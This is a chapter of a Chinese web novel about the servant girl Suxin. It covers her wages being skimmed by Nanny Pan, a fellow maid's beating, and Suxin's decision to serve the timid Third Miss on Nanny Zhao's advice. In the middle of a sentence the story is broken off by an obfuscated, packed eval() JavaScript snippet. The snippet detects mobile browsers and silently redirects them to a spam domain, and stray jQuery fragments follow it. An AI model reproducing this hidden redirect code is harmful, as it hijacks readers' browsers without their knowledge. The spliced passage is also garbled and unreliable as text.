眼瞧到了放月钱的日子。


    范家丫鬟们分了三等，最末等的就是素心这样做些洒扫粗活跑腿的，每月能拿到的月钱也是最少的。


    虽说素心拿的是三等丫鬟的月钱，可范家在滁州几大官宦人家里，是排得上头名的，求人办事的钱收的不少，顾氏又向来会把控底下人心，因此倒不吝啬。


    这月钱，大多都是账房分了各院的掌事嬷嬷，多是主子身边亲近的大丫鬟，或是奶妈子，因此也时常会有底下人克扣院里月钱的恶行。


    像潘妈妈，便是将此风贯彻至底的。


    素心一月共能发到五百文钱，可去潘妈妈那领钱时，缩水到了三百文。


    素心捏着大半空的钱袋子，心中隐隐积压着不满，问了潘妈妈道：“妈妈，我这月钱是五百文，如何这里只有三百文？”


    潘妈妈正用银针剃着牙，闻言睨她一眼，故作无知道：“这我也不知晓呐，想来是娘子账房算错了数，不如你去找了娘子说说，叫她将剩下二百文钱给你吧。”


    这便是明摆着坑素心了，她一个三等丫鬟，哪来那么大的脸，敢去娘子面前辩驳。


    这事若是去找赵妈妈，倒还能有几分指望。


    可素心自从进了三姑娘院里，便鲜少有空去赵妈妈那尽孝，有话是亲戚越走越亲，素心如今才只是刚做事，日后少不了要赵妈妈麻烦的地方，她又没备个礼去走动的，因着些琐碎小事麻烦赵妈妈，实在是没道理。


    素心咬了咬唇，只得憋下这口气。


    临出门前，还听那潘妈妈在后头冷笑道：“还寻我头上了，有本事叫姑娘帮你要回去呐。”


    心中略有烦闷，素心便出了院子，胡乱走着，一时间到了灶门口。


    里头小连见了她，亲热的将她拉到了边上，小声道：“今日放月钱，王妈妈额外赏了我一百文呢，你的月钱可领着了？我听送菜的老李说，他有法子能运些时新的首饰衣裳进来，你瞧咱们要不要找他？”


    见素心愁眉苦脸的，小连才觉不对道：“怎么了？”


    素心闷道：“我那月钱，叫潘妈妈扣了大半。”


    小连顿时忿忿：“这黑心肝的婆子，哪有像她这般的，连个小丫鬟的月钱都要吞，太不像话了些。”


    素心道：“没法子，我是降不住她。”


    小连见她兴致不佳，便挑拣了些素日在灶房里，同慧姐儿听来的八卦消息。


    “说来秋官不是进了二姑娘院里吗？你可知她惹大祸了？”


    素心蹙眉疑虑道：“什么大祸？”


    小连瞧她一脸无所知的模样，啧啧道：“看来你当真是被潘妈妈治的死死的，这等消息也不知道。你可还记得，秋官初入府相看时，得了一块上好包髻的绢布？”


    素心点点头。


    小连道：“她那便是讨好了李牙婆得来的，她同李牙婆承了诺，只要进了范府，今后每月的月钱就都孝敬给李牙婆。谁知当月李牙婆找上门来，秋官却拿不出钱，两人争执间的话便被二姑娘身边人听去了，跑去二姑娘面前当奇事新鲜事学舌讨好了。”


    “那二姑娘素来眼里容不得沙，又颇为刻薄清高，最厌恶这等子下人处心积虑之事，当下就叫人扯了秋官过去，掌了十个嘴，打的满口是血的，也不知是不是伤到哪处要害了，发了一天高热，二姑娘也懒得管她，叫她关在屋里不闻不问的。”


    素心听的心中沉闷，一点也高兴不起来，喃喃道：“难不成，就没个人帮她说一两句？”


    小连道：“那几个姑娘院里的，本就都是家生子，亲厚如姐妹的，像秋官那般买进去的，只会叫她们和防贼似的，哪还愿意帮她说话呢？”


    素心脑中浮现出秋官无人照看的模样，一时间有些惆怅，想了想，掏了十文钱给小连：“你替我煮两日的粥送给她吃，放些青菜清淡的，我走不开，你若有空了便送去。”


    小连是最知晓二人之间有龃龉的，有些诧道：“可……可秋官从前说过许多难听的话，你帮了她，说不准她反倒觉着你讨嫌，是故意瞧她笑话的。”


    素心不在意：“这有什么要紧的，好歹咱们在一块住过，总不能眼睁睁看她病糊涂了。”


    她并非是那乐善好施的人，前头秋官说的话她也没全然忘记，可说到底，大家都是没个依靠的，争这些巧也不过是为了活的好些，并不可耻。


    小连略思索，便也搭道：“若不咱们叫老李买些祛高热的草药来，煎一两服送去，想必能好的快些。”


    素心点头，二人各出了一半的钱，总不过几十文。


    回去路上，素心在此事上又多了一分考量。


    先前她还心怀侥幸，常盼着有机遇去旁的姑娘院里伺候。


    可她想的，也正是其他人心中所想的，谁不想谋个好差事，多攒些体己？家生子之间固然有内斗，可遇上外头不熟才买进来的，是要同仇敌忾一致对外的，想要横插一脚迈进核心圈，是难上加难，不是被排挤，就是被穿小鞋。


    如秋官这回，便是遭了旁人的暗算。


    这样想来，在三姑娘院里伺候又有三姑娘院的好处。


    一来三姑娘是个不会惹是生非刁难仆人的，不会有性命之忧。二来三院人口简单，那潘妈妈明面上兴风作浪，实则手头上也就只能管管她和晚晴两个丫头，为了从她身上捞些银钱，也不会轻易动手。


    若当真扶持三姑娘，想来竟是助她成为要紧人物的最优选择。


    一旦选择了三姑娘，今后她的地位只会是三姑娘最亲近之人，也就是说，三姑娘风光了，她便也风光，三姑娘落魄了，她便也要跟着落魄。


    思来想去，兹事体大，素心还是找了赵妈妈，同她说自己的想法。


    赵妈妈却是担忧她：“你可想好了？三姑娘性子沉闷胆小，在娘家不讨喜便算了，日后去了夫家，若还这样，也不会叫夫家所容的，你老实跟了她，这……这成事的机会实在是渺茫啊。”


    素心却坚定道：“三姑娘不是最好的去处，我自然是知晓的，可唯跟在她身边，不用顾忌着性命安危，妈妈，哪怕是您，跟在娘子身边几十年，可曾有一刻是不用提着胆伺候的？”


    赵妈妈眼眸闪了闪，的确，即使她是顾氏的奶妈子，也时常要小心谨慎伺候着这位脾气大的主子，更不用说素心与府中人原都是陌生人，相互都要忌惮试探，信任的建立并非朝夕，怕是要花上许多年的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483882|185129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时间。


    相较之下，三姑娘身边本就没个可信的，素心若一心为她，府里又没那般复杂的关系，出头也是极为迅速的事。


    赵妈妈叹了口气：“也罢，你既有了主意，那妈妈我便给你指条明路。”


    素心欢喜，正襟危坐：“但听妈妈指点。”


    赵妈妈缓缓道：“眼瞧三姑娘再有两三年便是议亲的年纪，此前她与郎君和娘子的关系已经僵化了十几年，若现下去缓和，已是没个太大作用。殊不知府里还有位老太太，她虽从不管事，可整日供养佛龛的，怎会是个心硬之人？你若是有办法，能叫三姑娘牵上老太太，想必婚嫁之事也就有了着落，府里人见在老太太面上，也不会再如此为难三姑娘了。”


    素心被一通点拨，心中便已经想出了大概路子。


    心中感激，素心正经道了个谢：“妈妈待我真诚，只是素心接下来说的话，却实在不算孝顺的。”


    赵妈妈心存疑惑：“什么话，你且说了。”


    素心道：“今后我与妈妈，怕是少来往些的好。咱们虽在此计划的好，可前头还有几位姑娘挡着，咱们想要三姑娘越过了她们去，怕是难上加难。若是我哪天出了事，牵扯到妈妈身上，那便是罪该万死了。”


    “再有，此番我与潘妈妈等人定有一场鏖战，我听闻她家男人给娘子掌管着要事，万一她们起了心思，加害到妈妈身上去，娘子也未尝不会听她们一两句言语。”


    赵妈妈这才知晓素心想的如此深了。


    心机行事间，远不像个十几岁的女孩家。


    赵妈妈叹道：“你有此等见识远地，也不知卖进来前是在何样的家里教养着，你爹娘当真教了你许多东西。”


    素心听她说起爹娘，内心惘然。


    “同他们，这辈子，怕也难再见一面。”


    .


    素心从赵妈妈屋里头出来，天色已经黑了。


    潘妈妈等人因着今日发了月钱，是要好好快活一番的，早烫了酒，炒了盘花生子来，几人捂在臭烘烘的房里，要打叶子戏。


    便也没顾着素心的身影了。


    素心扣响了三姑娘正屋的门。


    里头过了许久，才露出一张比前几日更加清瘦的脸，当见着素心的那刻，范云禾僵硬的脸上微乎其微的扯出一抹笑。


    素心道：“姑娘，那日你未画完的画，可否拿我给看看？”


    .


    又是两三日过去。


    府里依旧风平浪静，唯有从文忠巷缓缓驶来的马车，打破了这阵平静。


    那奢贵华美的马车停在范家门前，从里头出来对身穿绫罗绸缎的母女。


    那母亲貌美无比，生的端庄华贵，身侧的女儿戴了面纱，露了半张脸来，也承了美妇的容貌，昳丽非凡。


    直至一阵风轻轻吹起面纱，露出少女的另半张脸。


    从眼下连接到颊心，好大一块黑斑黫。


    那少女忙拢了面纱，瑟瑟躲至美妇身后。


    那美妇柔声劝慰：“溪姐儿，不必害怕，咱们到你二姨母家了。”


    末了，美妇冷冷望向守门的小厮，倨傲道：“告诉你家二夫人，便说她长姐来了。”